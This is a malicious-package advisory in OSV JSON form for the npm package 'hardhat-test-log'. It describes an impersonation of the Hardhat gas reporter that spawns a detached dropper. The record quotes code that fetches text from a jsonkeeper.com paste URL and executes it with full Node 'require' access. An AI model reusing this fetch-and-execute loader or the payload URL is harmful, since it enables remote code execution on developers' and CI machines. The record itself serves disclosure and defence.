{"id":"MAL-2026-6369","summary":"Malicious code in hardhat-test-log (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (741350b4472a82c53151793b413166a5fad36af3d2d14fa1d12afba9eccb9fed)\nPackage impersonates the well-known eth-gas-reporter / hardhat-gas-reporter packages: README is titled 'eth-test-log', copies badges and contributor metadata, and package.json sets author to 'cgewecke' (the real maintainer of those projects). The advertised Mocha reporter entrypoint is a decoy. index.js exports `log` as the reporter, but the function contains `var opt = 1; if (!opt) {...legitimate reporter code... } else { gestest(); }` — the dead-code gate guarantees the else branch always runs, calling utils.connectNet. utils.connectNet (lib/utils.js) spawns `node lib/syncResolve.js` as a detached, unref'd child with stdio ignored, so the dropper persists beyond Mocha teardown and produces no CI output. lib/syncResolve.js then performs `axios.get('https://www.jsonkeeper.com/b/KBZVB', { headers: { 'x-secret-key':... } })`, extracts the `Cookie` field from the response, and executes it in-process via `new Function.constructor('require', result)(require)` — giving attacker-controlled code full Node `require` access. The fetch destination is a public paste-style host with mutable, opaque content and no integrity check, so the operator can rotate the payload at will. Installing/using this package as a Hardhat/Mocha gas reporter triggers remote code execution on the developer's or CI machine.\n","modified":"2026-07-09T16:31:58.554090258Z","published":"2026-06-24T04:13:05Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-06-24T04:54:34.025624165Z","id":"IN-MAL-2026-007420","modified_time":"2026-06-24T04:13:05Z","versions":["1.1.0"],"source":"amazon-inspector","sha256":"c8eaf29821b0a2792ecc08837bdd52a09bee062279d6c8c83f5f15855b1098f6"},{"source":"amazon-inspector","sha256":"741350b4472a82c53151793b413166a5fad36af3d2d14fa1d12afba9eccb9fed","import_time":"2026-06-29T07:09:10.865962004Z","id":"IN-MAL-2026-007763","modified_time":"2026-06-29T06:04:48Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.1.2"]},{"modified_time":"2026-07-09T15:38:45Z","versions":["1.1.3"],"source":"amazon-inspector","sha256":"592e909fd45c56d9ad4bf2024335152e1bb755a35e4a1a527afe50544bea676c","import_time":"2026-07-09T16:20:47.911016212Z","id":"IN-MAL-2026-009171"},{"sha256":"8c1027b1e88c4de671bd38da9741b78c8eb9efbe659fc1c5ed1b6d086649d879","import_time":"2026-07-09T16:20:47.68433392Z","id":"IN-MAL-2026-009169","modified_time":"2026-07-09T15:38:31Z","versions":["1.1.1"],"source":"amazon-inspector"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/hardhat-test-log/v/1.1.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/hardhat-test-log/v/1.1.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/hardhat-test-log/v/1.1.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/hardhat-test-log/v/1.1.1"}],"affected":[{"package":{"name":"hardhat-test-log","ecosystem":"npm","purl":"pkg:npm/hardhat-test-log"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.1.0","1.1.2","1.1.3","1.1.1"],"database_specific":{"indicators":{"evidence_files":[{"sha256":"44002399a2427b6245b7aba983e270b3dade9e1c7e0d669807dfaaa78cb3ebbc","tlsh":"14017b9e3469e02c0eb012e9af175032f6126f27310ba1e9769d9b521f7ac695502eec","path":"lib/syncResolve.js"},{"sha256":"36c4c472f4d5f3409e527ffb69b413a6ef81c853ed6a4b82bc1ac32d19dbf371","tlsh":"250231961cf760d3112a35e8aa1b6011e568b65b3208daf5bead53443f0633cd0e7ae9","path":"lib/utils.js"},{"path":"index.js","sha256":"db6f048ab50bdad5c12883185a63f731a1ff1f9d98055ea63e34e9d28137415f","tlsh":"b3f1fe322eb7153745e3faac9bcba061d12696372201cfad7a8c93104f5447894efbe4"},{"sha256":"0ae78997fb4e33b7f2a18353ddeda8f65e274e766310e6dfe803cd91fb8bf26b","tlsh":"b362e8f33e0a4a620f7be7c4550db5a4ff2a915cd6976a95b4ae834c23062b241ef190","path":"README.md"}],"package_integrity":[{"filename":"hardhat-test-log-1.1.0.tgz","hashes":{"sha1":"b4ce708860e4f50e9de722399683656770515e36","sha512_sri":"sha512-YLkLCn9I3nIVSFFgBoXj4LMJl9WCwc5K0uTiRvo4Y2z03fYwWmIGF7hyC9ypZvdeE0yFzFiGs8frLzqSi+jLMA=="}}]},"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hardhat-test-log/MAL-2026-6369.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}